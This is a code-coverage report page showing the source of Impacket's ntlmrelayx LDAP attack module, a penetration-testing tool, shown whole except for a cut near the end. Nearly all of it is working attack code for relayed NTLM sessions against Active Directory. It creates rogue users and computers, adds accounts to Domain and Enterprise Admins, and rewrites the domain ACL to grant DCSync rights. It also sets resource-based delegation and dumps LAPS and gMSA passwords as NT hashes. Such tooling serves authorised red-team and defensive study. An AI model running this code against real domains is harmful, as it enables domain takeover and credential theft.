Coverage for /root/GitHubProjects/impacket/impacket/examples/ntlmrelayx/attacks/ldapattack.py : 8%

Hot-keys on this page
r m x p toggle line displays
j k next/prev highlighted chunk
0 (zero) top of page
1 (one) first highlighted chunk
1# Impacket - Collection of Python classes for working with network protocols.
2#
3# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
4#
5# This software is provided under a slightly modified version
6# of the Apache Software License. See the accompanying LICENSE file
7# for more information.
8#
9# Description:
10# LDAP Attack Class
11# LDAP(s) protocol relay attack
12#
13# Authors:
14# Alberto Solino (@agsolino)
15# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com)
16#
17import _thread
18import random
19import string
20import json
21import datetime
22import binascii
23import codecs
24import re
25import ldap3
26import ldapdomaindump
27from ldap3.core.results import RESULT_UNWILLING_TO_PERFORM
28from ldap3.utils.conv import escape_filter_chars
29import os
30from Cryptodome.Hash import MD4
32from impacket import LOG
33from impacket.examples.ldap_shell import LdapShell
34from impacket.examples.ntlmrelayx.attacks import ProtocolAttack
35from impacket.examples.ntlmrelayx.utils.tcpshell import TcpShell
36from impacket.ldap import ldaptypes
37from impacket.ldap.ldaptypes import ACCESS_ALLOWED_OBJECT_ACE, ACCESS_MASK, ACCESS_ALLOWED_ACE, ACE, OBJECTTYPE_GUID_MAP
38from impacket.uuid import string_to_bin, bin_to_string
39from impacket.structure import Structure, hexdump
41# This is new from ldap3 v2.5
42try:
43 from ldap3.protocol.microsoft import security_descriptor_control
44except ImportError:
45 # We use a print statement because the logger is not initialized yet here
46 print("Failed to import required functions from ldap3. ntlmrelayx requires ldap3 >= 2.5.0. \
47Please update with 'python -m pip install ldap3 --upgrade'")
48PROTOCOL_ATTACK_CLASS = "LDAPAttack"
50# Define global variables to prevent dumping the domain twice
51# and to prevent privilege escalating more than once
52dumpedDomain = False
53alreadyEscalated = False
54alreadyAddedComputer = False
55delegatePerformed = []
57#gMSA structure
58class MSDS_MANAGEDPASSWORD_BLOB(Structure):
59 structure = (
60 ('Version','<H'),
61 ('Reserved','<H'),
62 ('Length','<L'),
63 ('CurrentPasswordOffset','<H'),
64 ('PreviousPasswordOffset','<H'),
65 ('QueryPasswordIntervalOffset','<H'),
66 ('UnchangedPasswordIntervalOffset','<H'),
67 ('CurrentPassword',':'),
68 ('PreviousPassword',':'),
69 #('AlignmentPadding',':'),
70 ('QueryPasswordInterval',':'),
71 ('UnchangedPasswordInterval',':'),
72 )
74 def __init__(self, data = None):
75 Structure.__init__(self, data = data)
77 def fromString(self, data):
78 Structure.fromString(self,data)
80 if self['PreviousPasswordOffset'] == 0:
81 endData = self['QueryPasswordIntervalOffset']
82 else:
83 endData = self['PreviousPasswordOffset']
85 self['CurrentPassword'] = self.rawData[self['CurrentPasswordOffset']:][:endData - self['CurrentPasswordOffset']]
86 if self['PreviousPasswordOffset'] != 0:
87 self['PreviousPassword'] = self.rawData[self['PreviousPasswordOffset']:][:self['QueryPasswordIntervalOffset']-self['PreviousPasswordOffset']]
89 self['QueryPasswordInterval'] = self.rawData[self['QueryPasswordIntervalOffset']:][:self['UnchangedPasswordIntervalOffset']-self['QueryPasswordIntervalOffset']]
90 self['UnchangedPasswordInterval'] = self.rawData[self['UnchangedPasswordIntervalOffset']:]
93class LDAPAttack(ProtocolAttack):
94 """
95 This is the default LDAP attack. It checks the privileges of the relayed account
96 and performs a domaindump if the user does not have administrative privileges.
97 If the user is an Enterprise or Domain admin, a new user is added to escalate to DA.
98 """
99 PLUGIN_NAMES = ["LDAP", "LDAPS"]
101 # ACL constants
102 # When reading, these constants are actually represented by
103 # the following for Active Directory specific Access Masks
104 # Reference: https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2
105 GENERIC_READ = 0x00020094
106 GENERIC_WRITE = 0x00020028
107 GENERIC_EXECUTE = 0x00020004
108 GENERIC_ALL = 0x000F01FF
110 def __init__(self, config, LDAPClient, username):
111 self.computerName = '' if config.addcomputer == 'Rand' else config.addcomputer
112 ProtocolAttack.__init__(self, config, LDAPClient, username)
113 if self.config.interactive:
114 # Launch locally listening interactive shell.
115 self.tcp_shell = TcpShell()
117 def addComputer(self, parent, domainDumper):
118 """
119 Add a new computer. Parent is preferably CN=computers,DC=Domain,DC=local, but can
120 also be an OU or other container where we have write privileges
121 """
122 global alreadyAddedComputer
123 if alreadyAddedComputer:
124 LOG.error('New computer already added. Refusing to add another')
125 return
127 # Random password
128 newPassword = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15))
130 # Get the domain we are in
131 domaindn = domainDumper.root
132 domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:]
134 computerName = self.computerName
135 if not computerName:
136 # Random computername
137 newComputer = (''.join(random.choice(string.ascii_letters) for _ in range(8)) + '$').upper()
138 else:
139 newComputer = computerName if computerName.endswith('$') else computerName + '$'
141 computerHostname = newComputer[:-1]
142 newComputerDn = ('CN=%s,%s' % (computerHostname, parent)).encode('utf-8')
144 # Default computer SPNs
145 spns = [
146 'HOST/%s' % computerHostname,
147 'HOST/%s.%s' % (computerHostname, domain),
148 'RestrictedKrbHost/%s' % computerHostname,
149 'RestrictedKrbHost/%s.%s' % (computerHostname, domain),
150 ]
151 ucd = {
152 'dnsHostName': '%s.%s' % (computerHostname, domain),
153 'userAccountControl': 4096,
154 'servicePrincipalName': spns,
155 'sAMAccountName': newComputer,
156 'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le')
157 }
158 LOG.debug('New computer info %s', ucd)
159 LOG.info('Attempting to create computer in: %s', parent)
160 res = self.client.add(newComputerDn.decode('utf-8'), ['top','person','organizationalPerson','user','computer'], ucd)
161 if not res:
162 # Adding computers requires LDAPS
163 if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl:
164 LOG.error('Failed to add a new computer. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing account.')
165 else:
166 LOG.error('Failed to add a new computer: %s' % str(self.client.result))
167 return False
168 else:
169 LOG.info('Adding new computer with username: %s and password: %s result: OK' % (newComputer, newPassword))
170 alreadyAddedComputer = True
171 # Return the SAM name
172 return newComputer
174 def addUser(self, parent, domainDumper):
175 """
176 Add a new user. Parent is preferably CN=Users,DC=Domain,DC=local, but can
177 also be an OU or other container where we have write privileges
178 """
179 global alreadyEscalated
180 if alreadyEscalated:
181 LOG.error('New user already added. Refusing to add another')
182 return
184 # Random password
185 newPassword = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15))
187 # Random username
188 newUser = ''.join(random.choice(string.ascii_letters) for _ in range(10))
189 newUserDn = 'CN=%s,%s' % (newUser, parent)
190 ucd = {
191 'objectCategory': 'CN=Person,CN=Schema,CN=Configuration,%s' % domainDumper.root,
192 'distinguishedName': newUserDn,
193 'cn': newUser,
194 'sn': newUser,
195 'givenName': newUser,
196 'displayName': newUser,
197 'name': newUser,
198 'userAccountControl': 512,
199 'accountExpires': '0',
200 'sAMAccountName': newUser,
201 'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le')
202 }
203 LOG.info('Attempting to create user in: %s', parent)
204 res = self.client.add(newUserDn, ['top', 'person', 'organizationalPerson', 'user'], ucd)
205 if not res:
206 # Adding users requires LDAPS
207 if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl:
208 LOG.error('Failed to add a new user. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing user.')
209 else:
210 LOG.error('Failed to add a new user: %s' % str(self.client.result))
211 return False
212 else:
213 LOG.info('Adding new user with username: %s and password: %s result: OK' % (newUser, newPassword))
215 # Return the DN
216 return newUserDn
218 def addUserToGroup(self, userDn, domainDumper, groupDn):
219 global alreadyEscalated
220 # For display only
221 groupName = groupDn.split(',')[0][3:]
222 userName = userDn.split(',')[0][3:]
223 # Now add the user as a member to this group
224 res = self.client.modify(groupDn, {
225 'member': [(ldap3.MODIFY_ADD, [userDn])]})
226 if res:
227 LOG.info('Adding user: %s to group %s result: OK' % (userName, groupName))
228 LOG.info('Privilege escalation succesful, shutting down...')
229 alreadyEscalated = True
230 _thread.interrupt_main()
231 else:
232 LOG.error('Failed to add user to %s group: %s' % (groupName, str(self.client.result)))
234 def delegateAttack(self, usersam, targetsam, domainDumper, sid):
235 global delegatePerformed
236 if targetsam in delegatePerformed:
237 LOG.info('Delegate attack already performed for this computer, skipping')
238 return
240 if not usersam:
241 usersam = self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper)
242 self.config.escalateuser = usersam
244 if not sid:
245 # Get escalate user sid
246 result = self.getUserInfo(domainDumper, usersam)
247 if not result:
248 LOG.error('User to escalate does not exist!')
249 return
250 escalate_sid = str(result[1])
251 else:
252 escalate_sid = usersam
254 # Get target computer DN
255 result = self.getUserInfo(domainDumper, targetsam)
256 if not result:
257 LOG.error('Computer to modify does not exist! (wrong domain?)')
258 return
259 target_dn = result[0]
261 self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName','objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity'])
262 targetuser = None
263 for entry in self.client.response:
264 if entry['type'] != 'searchResEntry':
265 continue
266 targetuser = entry
267 if not targetuser:
268 LOG.error('Could not query target user properties')
269 return
270 try:
271 sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0])
272 LOG.debug('Currently allowed sids:')
273 for ace in sd['Dacl'].aces:
274 LOG.debug(' %s' % ace['Ace']['Sid'].formatCanonical())
275 except IndexError:
276 # Create DACL manually
277 sd = create_empty_sd()
278 sd['Dacl'].aces.append(create_allow_ace(escalate_sid))
279 self.client.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]})
280 if self.client.result['result'] == 0:
281 LOG.info('Delegation rights modified succesfully!')
282 LOG.info('%s can now impersonate users on %s via S4U2Proxy', usersam, targetsam)
283 delegatePerformed.append(targetsam)
284 else:
285 if self.client.result['result'] == 50:
286 LOG.error('Could not modify object, the server reports insufficient rights: %s', self.client.result['message'])
287 elif self.client.result['result'] == 19:
288 LOG.error('Could not modify object, the server reports a constrained violation: %s', self.client.result['message'])
289 else:
290 LOG.error('The server returned an error: %s', self.client.result['message'])
291 return
293 def aclAttack(self, userDn, domainDumper):
294 global alreadyEscalated
295 if alreadyEscalated:
296 LOG.error('ACL attack already performed. Refusing to continue')
297 return
299 # Dictionary for restore data
300 restoredata = {}
302 # Query for the sid of our user
303 try:
304 self.client.search(userDn, '(objectClass=user)', attributes=['sAMAccountName', 'objectSid'])
305 entry = self.client.entries[0]
306 except IndexError:
307 LOG.error('Could not retrieve infos for user: %s' % userDn)
308 return
309 username = entry['sAMAccountName'].value
310 usersid = entry['objectSid'].value
311 LOG.debug('Found sid for user %s: %s' % (username, usersid))
313 # Set SD flags to only query for DACL
314 controls = security_descriptor_control(sdflags=0x04)
315 alreadyEscalated = True
317 LOG.info('Querying domain security descriptor')
318 self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
319 entry = self.client.entries[0]
320 secDescData = entry['nTSecurityDescriptor'].raw_values[0]
321 secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData)
323 # Save old SD for restore purposes
324 restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8')
325 restoredata['target_sid'] = usersid
327 secDesc['Dacl']['Data'].append(create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid))
328 secDesc['Dacl']['Data'].append(create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid))
329 dn = entry.entry_dn
330 data = secDesc.getData()
331 self.client.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls)
332 if self.client.result['result'] == 0:
333 alreadyEscalated = True
334 LOG.info('Success! User %s now has Replication-Get-Changes-All privileges on the domain', username)
335 LOG.info('Try using DCSync with secretsdump.py and this user :)')
337 # Query the SD again to see what AD made of it
338 self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls)
339 entry = self.client.entries[0]
340 newSD = entry['nTSecurityDescriptor'].raw_values[0]
341 # Save this to restore the SD later on
342 restoredata['target_dn'] = dn
343 restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8')
344 restoredata['success'] = True
345 self.writeRestoreData(restoredata, dn)
346 return True
347 else:
348 LOG.error('Error when updating ACL: %s' % self.client.result)
349 return False
351 def writeRestoreData(self, restoredata, domaindn):
352 output = {}
353 domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:]
354 output['config'] = {'server':self.client.server.host,'domain':domain}
355 output['history'] = [{'operation': 'add_domain_sync', 'data': restoredata, 'contextuser': self.username}]
356 now = datetime.datetime.now()
357 filename = 'aclpwn-%s.restore' % now.strftime("%Y%m%d-%H%M%S")
358 # Save the json to file
359 with codecs.open(filename, 'w', 'utf-8') as outfile:
360 json.dump(output, outfile)
361 LOG.info('Saved restore state to %s', filename)
363 def validatePrivileges(self, uname, domainDumper):
364 # Find the user's DN
365 membersids = []
366 sidmapping = {}
367 privs = {
368 'create': False, # Whether we can create users
369 'createIn': None, # Where we can create users
370 'escalateViaGroup': False, # Whether we can escalate via a group
371 'escalateGroup': None, # The group we can escalate via
372 'aclEscalate': False, # Whether we can escalate via ACL on the domain object
373 'aclEscalateIn': None # The object which ACL we can edit
374 }
375 self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(uname), attributes=['objectSid', 'primaryGroupId'])
376 user = self.client.entries[0]
377 usersid = user['objectSid'].value
378 sidmapping[usersid] = user.entry_dn
379 membersids.append(usersid)
380 # The groups the user is a member of
381 self.client.search(domainDumper.root, '(member:1.2.840.113556.1.4.1941:=%s)' % escape_filter_chars(user.entry_dn), attributes=['name', 'objectSid'])
382 LOG.debug('User is a member of: %s' % self.client.entries)
383 for entry in self.client.entries:
384 sidmapping[entry['objectSid'].value] = entry.entry_dn
385 membersids.append(entry['objectSid'].value)
386 # Also search by primarygroupid
387 # First get domain SID
388 self.client.search(domainDumper.root, '(objectClass=domain)', attributes=['objectSid'])
389 domainsid = self.client.entries[0]['objectSid'].value
390 gid = user['primaryGroupId'].value
391 # Now search for this group by SID
392 self.client.search(domainDumper.root, '(objectSid=%s-%d)' % (domainsid, gid), attributes=['name', 'objectSid', 'distinguishedName'])
393 group = self.client.entries[0]
394 LOG.debug('User is a member of: %s' % self.client.entries)
395 # Add the group sid of the primary group to the list
396 sidmapping[group['objectSid'].value] = group.entry_dn
397 membersids.append(group['objectSid'].value)
398 controls = security_descriptor_control(sdflags=0x05) # Query Owner and Dacl
399 # Now we have all the SIDs applicable to this user, now enumerate the privileges of domains and OUs
400 entries = self.client.extend.standard.paged_search(domainDumper.root, '(|(objectClass=domain)(objectClass=organizationalUnit))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True)
401 self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper)
402 # Also get the privileges on the default Users container
403 entries = self.client.extend.standard.paged_search(domainDumper.root, '(&(cn=Users)(objectClass=container))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True)
404 self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper)
406 # Interesting groups we'd like to be a member of, in order of preference
407 interestingGroups = [
408 '%s-%d' % (domainsid, 519), # Enterprise admins
409 '%s-%d' % (domainsid, 512), # Domain admins
410 'S-1-5-32-544', # Built-in Administrators
411 'S-1-5-32-551', # Backup operators
412 'S-1-5-32-548', # Account operators
413 ]
414 privs['escalateViaGroup'] = False
415 for group in interestingGroups:
416 self.client.search(domainDumper.root, '(objectSid=%s)' % group, attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls)
417 groupdata = self.client.response
418 self.checkSecurityDescriptors(groupdata, privs, membersids, sidmapping, domainDumper)
419 if privs['escalateViaGroup']:
420 # We have a result - exit the loop
421 break
422 return (usersid, privs)
424 def getUserInfo(self, domainDumper, samname):
425 entries = self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid'])
426 try:
427 dn = self.client.entries[0].entry_dn
428 sid = self.client.entries[0]['objectSid']
429 return (dn, sid)
430 except IndexError:
431 LOG.error('User not found in LDAP: %s' % samname)
432 return False
434 def checkSecurityDescriptors(self, entries, privs, membersids, sidmapping, domainDumper):
435 standardrights = [
436 self.GENERIC_ALL,
437 self.GENERIC_WRITE,
438 self.GENERIC_READ,
439 ACCESS_MASK.WRITE_DACL
440 ]
441 for entry in entries:
442 if entry['type'] != 'searchResEntry':
443 continue
444 dn = entry['dn']
445 try:
446 sdData = entry['raw_attributes']['nTSecurityDescriptor'][0]
447 except IndexError:
448 # We don't have the privileges to read this security descriptor
449 LOG.debug('Access to security descriptor was denied for DN %s', dn)
450 continue
451 hasFullControl = False
452 secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR()
453 secDesc.fromString(sdData)
454 if secDesc['OwnerSid'] != '' and secDesc['OwnerSid'].formatCanonical() in membersids:
455 sid = secDesc['OwnerSid'].formatCanonical()
456 LOG.debug('Permission found: Full Control on %s; Reason: Owner via %s' % (dn, sidmapping[sid]))
457 hasFullControl = True
458 # Iterate over all the ACEs
459 for ace in secDesc['Dacl'].aces:
460 sid = ace['Ace']['Sid'].formatCanonical()
461 if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE and ace['AceType'] != ACCESS_ALLOWED_ACE.ACE_TYPE:
462 continue
463 if not ace.hasFlag(ACE.INHERITED_ACE) and ace.hasFlag(ACE.INHERIT_ONLY_ACE):
464 # ACE is set on this object, but only inherited, so not applicable to us
465 continue
467 # Check if the ACE has restrictions on object type (inherited case)
468 if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE \
469 and ace.hasFlag(ACE.INHERITED_ACE) \
470 and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT):
471 # Verify if the ACE applies to this object type
472 inheritedObjectType = bin_to_string(ace['Ace']['InheritedObjectType']).lower()
473 if not self.aceApplies(inheritedObjectType, entry['raw_attributes']['objectClass'][-1]):
474 continue
475 # Check for non-extended rights that may not apply to us
476 if ace['Ace']['Mask']['Mask'] in standardrights or ace['Ace']['Mask'].hasPriv(ACCESS_MASK.WRITE_DACL):
477 # Check if this applies to our objecttype
478 if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT):
479 objectType = bin_to_string(ace['Ace']['ObjectType']).lower()
480 if not self.aceApplies(objectType, entry['raw_attributes']['objectClass'][-1]):
481 # LOG.debug('ACE does not apply, only to %s', objectType)
482 continue
483 if sid in membersids:
484 # Generic all
485 if ace['Ace']['Mask'].hasPriv(self.GENERIC_ALL):
486 ace.dump()
487 LOG.debug('Permission found: Full Control on %s; Reason: GENERIC_ALL via %s' % (dn, sidmapping[sid]))
488 hasFullControl = True
489 if can_create_users(ace) or hasFullControl:
490 if not hasFullControl:
491 LOG.debug('Permission found: Create users in %s; Reason: Granted to %s' % (dn, sidmapping[sid]))
492 if dn == 'CN=Users,%s' % domainDumper.root:
493 # We can create users in the default container, this is preferred
494 privs['create'] = True
495 privs['createIn'] = dn
496 else:
497 # Could be a different OU where we have access
498 # store it until we find a better place
499 if privs['createIn'] != 'CN=Users,%s' % domainDumper.root and b'organizationalUnit' in entry['raw_attributes']['objectClass']:
500 privs['create'] = True
501 privs['createIn'] = dn
502 if can_add_member(ace) or hasFullControl:
503 if b'group' in entry['raw_attributes']['objectClass']:
504 # We can add members to a group
505 if not hasFullControl:
506 LOG.debug('Permission found: Add member to %s; Reason: Granted to %s' % (dn, sidmapping[sid]))
507 privs['escalateViaGroup'] = True
508 privs['escalateGroup'] = dn
509 if ace['Ace']['Mask'].hasPriv(ACCESS_MASK.WRITE_DACL) or hasFullControl:
510 # Check if the ACE is an OBJECT ACE, if so the WRITE_DACL is applied to
511 # a property, which is both weird and useless, so we skip it
512 if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE \
513 and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT):
514 # LOG.debug('Skipping WRITE_DACL since it has an ObjectType set')
515 continue
516 if not hasFullControl:
517 LOG.debug('Permission found: Write Dacl of %s; Reason: Granted to %s' % (dn, sidmapping[sid]))
518 # We can modify the domain Dacl
519 if b'domain' in entry['raw_attributes']['objectClass']:
520 privs['aclEscalate'] = True
521 privs['aclEscalateIn'] = dn
523 @staticmethod
524 def aceApplies(ace_guid, object_class):
525 '''
526 Checks if an ACE applies to this object (based on object classes).
527 Note that this function assumes you already verified that InheritedObjectType is set (via the flag).
528 If this is not set, the ACE applies to all object types.
529 '''
530 try:
531 our_ace_guid = OBJECTTYPE_GUID_MAP[object_class]
532 except KeyError:
533 return False
534 if ace_guid == our_ace_guid:
535 return True
536 # If none of these match, the ACE does not apply to this object
537 return False
540 def run(self):
541 #self.client.search('dc=vulnerable,dc=contoso,dc=com', '(objectclass=person)')
542 #print self.client.entries
543 global dumpedDomain
544 # Set up a default config
545 domainDumpConfig = ldapdomaindump.domainDumpConfig()
547 # Change the output directory to configured rootdir
548 domainDumpConfig.basepath = self.config.lootdir
550 # Create new dumper object
551 domainDumper = ldapdomaindump.domainDumper(self.client.server, self.client, domainDumpConfig)
553 if self.config.interactive:
554 if self.tcp_shell is not None:
555 LOG.info('Started interactive Ldap shell via TCP on 127.0.0.1:%d' % self.tcp_shell.port)
556 # Start listening and launch interactive shell.
557 self.tcp_shell.listen()
558 ldap_shell = LdapShell(self.tcp_shell, domainDumper, self.client)
559 ldap_shell.cmdloop()
560 return
562 # If specified validate the user's privileges. This might take a while on large domains but will
563 # identify the proper containers for escalating via the different techniques.
564 if self.config.validateprivs:
565 LOG.info('Enumerating relayed user\'s privileges. This may take a while on large domains')
566 userSid, privs = self.validatePrivileges(self.username, domainDumper)
567 if privs['create']:
568 LOG.info('User privileges found: Create user')
569 if privs['escalateViaGroup']:
570 name = privs['escalateGroup'].split(',')[0][3:]
571 LOG.info('User privileges found: Adding user to a privileged group (%s)' % name)
572 if privs['aclEscalate']:
573 LOG.info('User privileges found: Modifying domain ACL')
575 # If validation of privileges is not desired, we assumed that the user has permissions to escalate
576 # an existing user via ACL attacks.
577 else:
578 LOG.info('Assuming relayed user has privileges to escalate a user via ACL attack')
579 privs = dict()
580 privs['create'] = False
581 privs['aclEscalate'] = True
582 privs['escalateViaGroup'] = False
584 # We prefer ACL escalation since it is more quiet
585 if self.config.aclattack and privs['aclEscalate']:
586 LOG.debug('Performing ACL attack')
587 if self.config.escalateuser:
588 # We can escalate an existing user
589 result = self.getUserInfo(domainDumper, self.config.escalateuser)
590 # Unless that account does not exist of course
591 if not result:
592 LOG.error('Unable to escalate without a valid user.')
593 else:
594 userDn, userSid = result
595 # Perform the ACL attack
596 self.aclAttack(userDn, domainDumper)
597 elif privs['create']:
598 # Create a nice shiny new user for the escalation
599 userDn = self.addUser(privs['createIn'], domainDumper)
600 if not userDn:
601 LOG.error('Unable to escalate without a valid user.')
602 # Perform the ACL attack
603 else:
604 self.aclAttack(userDn, domainDumper)
605 else:
606 LOG.error('Cannot perform ACL escalation because we do not have create user '\
607 'privileges. Specify a user to assign privileges to with --escalate-user')
609 # If we can't ACL escalate, try adding us to a privileged group
610 if self.config.addda and privs['escalateViaGroup']:
611 LOG.debug('Performing Group attack')
612 if self.config.escalateuser:
613 # We can escalate an existing user
614 result = self.getUserInfo(domainDumper, self.config.escalateuser)
615 # Unless that account does not exist of course
616 if not result:
617 LOG.error('Unable to escalate without a valid user.')
618 # Perform the Group attack
619 else:
620 userDn, userSid = result
621 self.addUserToGroup(userDn, domainDumper, privs['escalateGroup'])
623 elif privs['create']:
624 # Create a nice shiny new user for the escalation
625 userDn = self.addUser(privs['createIn'], domainDumper)
626 if not userDn:
627 LOG.error('Unable to escalate without a valid user, aborting.')
628 # Perform the Group attack
629 else:
630 self.addUserToGroup(userDn, domainDumper, privs['escalateGroup'])
632 else:
633 LOG.error('Cannot perform ACL escalation because we do not have create user '\
634 'privileges. Specify a user to assign privileges to with --escalate-user')
636 # Dump LAPS Passwords
637 if self.config.dumplaps:
638 LOG.info("Attempting to dump LAPS passwords")
640 success = self.client.search(domainDumper.root, '(&(objectCategory=computer))', search_scope=ldap3.SUBTREE, attributes=['DistinguishedName','ms-MCS-AdmPwd'])
642 if success:
644 fd = None
645 filename = "laps-dump-" + self.username + "-" + str(random.randint(0, 99999))
646 count = 0
648 for entry in self.client.response:
649 try:
650 dn = "DN:" + entry['attributes']['distinguishedname']
651 passwd = "Password:" + entry['attributes']['ms-MCS-AdmPwd']
653 if fd is None:
654 fd = open(filename, "a+")
656 count += 1
658 LOG.debug(dn)
659 LOG.debug(passwd)
661 fd.write(dn)
662 fd.write("\n")
663 fd.write(passwd)
664 fd.write("\n")
666 except:
667 continue
669 if fd is None:
670 LOG.info("The relayed user %s does not have permissions to read any LAPS passwords" % self.username)
671 else:
672 LOG.info("Successfully dumped %d LAPS passwords through relayed account %s" % (count, self.username))
673 fd.close()
675 #Dump gMSA Passwords
676 if self.config.dumpgmsa:
677 LOG.info("Attempting to dump gMSA passwords")
678 success = self.client.search(domainDumper.root, '(&(ObjectClass=msDS-GroupManagedServiceAccount))', search_scope=ldap3.SUBTREE, attributes=['sAMAccountName','msDS-ManagedPassword'])
679 if success:
680 fd = None
681 filename = "gmsa-dump-" + self.username + "-" + str(random.randint(0, 99999))
682 count = 0
683 for entry in self.client.response:
684 try:
685 sam = entry['attributes']['sAMAccountName']
686 data = entry['attributes']['msDS-ManagedPassword']
687 blob = MSDS_MANAGEDPASSWORD_BLOB()
688 blob.fromString(data)
689 hash = MD4.new ()
690 hash.update (blob['CurrentPassword'][:-2])
691 passwd = binascii.hexlify(hash.digest()).decode("utf-8")
692 userpass = sam + ':::' + passwd
693 LOG.info(userpass)
694 count += 1
695 if fd is None:
696 fd = open(filename, "a+")
697 fd.write(userpass)
698 fd.write("\n")
699 except:
700 continue
701 if fd is None:
702 LOG.info("The relayed user %s does not have permissions to read any gMSA passwords" % self.username)
703 else:
704 LOG.info("Successfully dumped %d gMSA passwords through relayed account %s" % (count, self.username))
705 fd.close()
707 # Perform the Delegate attack if it is enabled and we relayed a computer account
708 if self.config.delegateaccess and self.username[-1] == '$':
709 self.delegateAttack(self.config.escalateuser, self.username, domainDumper, self.config.sid)
710 return
712 # Add a new computer if that is requested
713 # privileges required are not yet enumerated, neither is ms-ds-MachineAccountQuota
714 if self.config.addcomputer:
715 self.client.search(domainDumper.root, "(ObjectClass=domain)", attributes=['wellKnownObjects'])
716 # Computer well-known GUID
717 # https://social.technet.microsoft.com/Forums/windowsserver/en-US/d028952f-a25a-42e6-99c5-28beae2d3ac3/how-can-i-know-the-default-computer-container?forum=winservergen
718 computerscontainer = [
719 entry.decode('utf-8').split(":")[-1] for entry in self.client.entries[0]["wellKnownObjects"]
720 if b"AA312825768811D1ADED00C04FD8D5CD" in entry
721 ][0]
722 LOG.debug("Computer container is {}".format(computerscontainer))
723 self.addComputer(computerscontainer, domainDumper)
724 return
726 # Last attack, dump the domain if no special privileges are present
727 if not dumpedDomain and self.config.dumpdomain:
728 # Do this before the dump is complete because of the time this can take
729 dumpedDomain = True
730 LOG.info('Dumping domain info for first time')
731 domainDumper.domainDump()
732 LOG.info('Domain info dumped into lootdir!')
734# Create an object ACE with the specified privguid and our sid
735def create_object_ace(privguid, sid):
736 nace = ldaptypes.ACE()
737 nace['AceType'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE
738 nace['AceFlags'] = 0x00
739 acedata = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE()
740 acedata['Mask'] = ldaptypes.ACCESS_MASK()
741 acedata['Mask']['Mask'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS
742 acedata['ObjectType'] = string_to_bin(privguid)
743 acedata['InheritedObjectType'] = b''
744 acedata['Sid'] = ldaptypes.LDAP_SID()
745 acedata['Sid'].fromCanonical(sid)
746 assert sid == acedata['Sid'].formatCanonical()
747 acedata['Flags'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT
748 nace['Ace'] = acedata
749 return nace
751# Create an ALLOW ACE with the specified sid
752def create_allow_ace(sid):
753 nace = ldaptypes.ACE()
754 nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE
755 nace['AceFlags'] = 0x00
756 acedata = ldaptypes.ACCESS_ALLOWED_ACE()
757 acedata['Mask'] = ldaptypes.ACCESS_MASK()
758 acedata['Mask']['Mask'] = 983551 # Full control
759 acedata['Sid'] = ldaptypes.LDAP_SID()
760 acedata['Sid'].fromCanonical(sid)
761 nace['Ace'] = acedata
762 return nace
764def create_empty_sd():
765 sd = ldaptypes.SR_SECURITY_DESCRIPTOR()
766 sd['Revision'] = b'\x01'
767 sd['Sbz1'] = b'\x00'
768 sd['Control'] = 32772
769 sd['OwnerSid'] = ldaptypes.LDAP_SID()
770 # BUILTIN\Administrators
771 sd['OwnerSid'].fromCanonical('S-1-5-32-544')
